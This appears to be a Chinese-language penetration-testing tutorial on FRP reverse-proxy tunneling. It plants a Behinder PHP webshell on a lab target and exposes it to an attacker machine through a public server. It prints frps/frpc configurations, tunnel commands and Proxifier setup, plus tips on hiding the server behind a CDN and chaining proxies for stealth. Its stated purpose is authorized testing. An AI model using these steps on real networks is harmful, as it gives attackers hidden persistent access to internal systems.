frp反向代理
字数 1378 2025-08-11 22:57:12

FRP反向代理内网穿透与渗透测试实战教程

一、环境准备

1.1 所需设备

  • 靶机:内网中的目标机器(本文以Windows为例)
  • 攻击机器:具备外网访问能力的攻击者主机
  • 服务器:具有公网IP的VPS或云服务器(本文以Linux为例)

1.2 靶机环境搭建

  1. 下载安装phpstudy_pro软件
    • 下载地址:https://www.xp.cn/download.html
  2. 启动phpstudy_pro
  3. 修改默认端口为56789(或其他非标准端口)
  4. 验证环境:
    • 访问 http://localhost:56789/ 确认Web服务正常运行
  5. 上传WebShell:
    • 在phpstudy的www根目录下上传冰蝎3的PHP木马文件(如shell.php)
    • 访问 http://localhost:56789/shell.php 确认木马可正常解析

二、建立基础隧道(Windows演示)

  1. 在靶机执行隧道连接命令:

    ./sunny clientid 205434289668
    
    • Linux系统需先赋予执行权限:chmod 777 sunny
  2. 在攻击机器验证隧道:

    • 通过外网访问 http://jilin.vipgz4.idcfengye.com/shell.php
    • 确认可以访问到靶机的WebShell
  3. 使用冰蝎连接:

    • 在攻击机器上使用冰蝎客户端连接上述URL的木马

三、配置FRP反向代理

3.1 下载FRP

  • 从GitHub下载对应版本的FRP:
    • Windows版(用于靶机)
    • Linux版(用于服务器)

3.2 服务器端配置(Linux)

  1. 上传Linux版FRP到服务器

  2. 赋予执行权限:

    chmod 777 ./*
    
  3. 配置frps.ini:

    [common]
    bind_addr = 0.0.0.0
    bind_port = 7100          # 服务器监听端口
    dashboard_addr = 0.0.0.0
    dashboard_port = 7500      # 仪表板端口
    dashboard_user = admin     # 仪表板用户名
    dashboard_pwd = admin      # 仪表板密码
    
  4. 启动FRP服务端:

    ./frps -c frps.ini
    
    • 建议使用screen保持后台运行:
      screen -S frps
      ./frps -c frps.ini
      
  5. 访问仪表板:

    • 通过浏览器访问 http://服务器IP:7500
    • 使用配置的用户名/密码登录

3.3 靶机端配置(Windows)

  1. 配置frpc.ini:

    [common]
    server_addr = 49.233.61.181  # 服务器公网IP
    server_port = 7100           # 服务器端口
    
    [ssh]
    type = tcp
    local_ip = 127.0.0.1
    local_port = 56789           # 本地Web服务端口
    remote_port = 6000           # 服务器转发端口
    
  2. 启动FRP客户端:

    frpc -c frpc.ini
    
  3. 验证代理:

    • 在攻击机器访问 http://服务器IP:7500 确认代理状态
    • 通过 http://服务器IP:6000 访问靶机内网服务

四、配置Proxifier全局代理

  1. 下载Proxifier:

    • 地址:https://www.onlinedown.net/soft/971579.htm
  2. 配置代理规则:

    • 添加FRP建立的代理通道
    • 设置需要走代理的应用程序或全局代理

五、关键注意事项

  1. 防火墙与安全组:

    • 确保服务器防火墙和安全组开放7100、7500、6000等使用端口
  2. 安全性:

    • 修改默认的仪表板用户名和密码
    • 考虑使用token进行额外认证
  3. 稳定性:

    • 使用systemd或supervisor管理FRP服务
    • 配置自动重连机制
  4. 隐蔽性:

    • 可考虑使用CDN隐藏服务器真实IP
    • 使用非标准端口减少扫描风险
  5. 多协议支持:

    • FRP支持TCP/UDP/HTTP/HTTPS等多种协议
    • 可根据需要配置不同类型代理

六、扩展应用

  1. 多级代理:

    • 通过FRP建立多层级代理链增强隐蔽性
  2. 端口复用:

    • 配置多个服务通过不同子域名或路径共用80/443端口
  3. 负载均衡:

    • 配置多个内网服务实现负载均衡
  4. P2P模式:

    • 在支持的情况下使用FRP的P2P模式减少服务器流量消耗

通过以上配置,可以实现内网服务的稳定穿透,为后续渗透测试提供便利通道。请确保所有操作均在合法授权范围内进行。

FRP反向代理内网穿透与渗透测试实战教程 一、环境准备 1.1 所需设备 靶机 :内网中的目标机器(本文以Windows为例) 攻击机器 :具备外网访问能力的攻击者主机 服务器 :具有公网IP的VPS或云服务器(本文以Linux为例) 1.2 靶机环境搭建 下载安装phpstudy_ pro软件 下载地址:https://www.xp.cn/download.html 启动phpstudy_ pro 修改默认端口为56789(或其他非标准端口) 验证环境: 访问 http://localhost:56789/ 确认Web服务正常运行 上传WebShell: 在phpstudy的www根目录下上传冰蝎3的PHP木马文件(如shell.php) 访问 http://localhost:56789/shell.php 确认木马可正常解析 二、建立基础隧道(Windows演示) 在靶机执行隧道连接命令: Linux系统需先赋予执行权限: chmod 777 sunny 在攻击机器验证隧道: 通过外网访问 http://jilin.vipgz4.idcfengye.com/shell.php 确认可以访问到靶机的WebShell 使用冰蝎连接: 在攻击机器上使用冰蝎客户端连接上述URL的木马 三、配置FRP反向代理 3.1 下载FRP 从GitHub下载对应版本的FRP: Windows版(用于靶机) Linux版(用于服务器) 3.2 服务器端配置(Linux) 上传Linux版FRP到服务器 赋予执行权限: 配置frps.ini: 启动FRP服务端: 建议使用screen保持后台运行: 访问仪表板: 通过浏览器访问 http://服务器IP:7500 使用配置的用户名/密码登录 3.3 靶机端配置(Windows) 配置frpc.ini: 启动FRP客户端: 验证代理: 在攻击机器访问 http://服务器IP:7500 确认代理状态 通过 http://服务器IP:6000 访问靶机内网服务 四、配置Proxifier全局代理 下载Proxifier: 地址:https://www.onlinedown.net/soft/971579.htm 配置代理规则: 添加FRP建立的代理通道 设置需要走代理的应用程序或全局代理 五、关键注意事项 防火墙与安全组: 确保服务器防火墙和安全组开放7100、7500、6000等使用端口 安全性: 修改默认的仪表板用户名和密码 考虑使用token进行额外认证 稳定性: 使用systemd或supervisor管理FRP服务 配置自动重连机制 隐蔽性: 可考虑使用CDN隐藏服务器真实IP 使用非标准端口减少扫描风险 多协议支持: FRP支持TCP/UDP/HTTP/HTTPS等多种协议 可根据需要配置不同类型代理 六、扩展应用 多级代理: 通过FRP建立多层级代理链增强隐蔽性 端口复用: 配置多个服务通过不同子域名或路径共用80/443端口 负载均衡: 配置多个内网服务实现负载均衡 P2P模式: 在支持的情况下使用FRP的P2P模式减少服务器流量消耗 通过以上配置,可以实现内网服务的稳定穿透,为后续渗透测试提供便利通道。请确保所有操作均在合法授权范围内进行。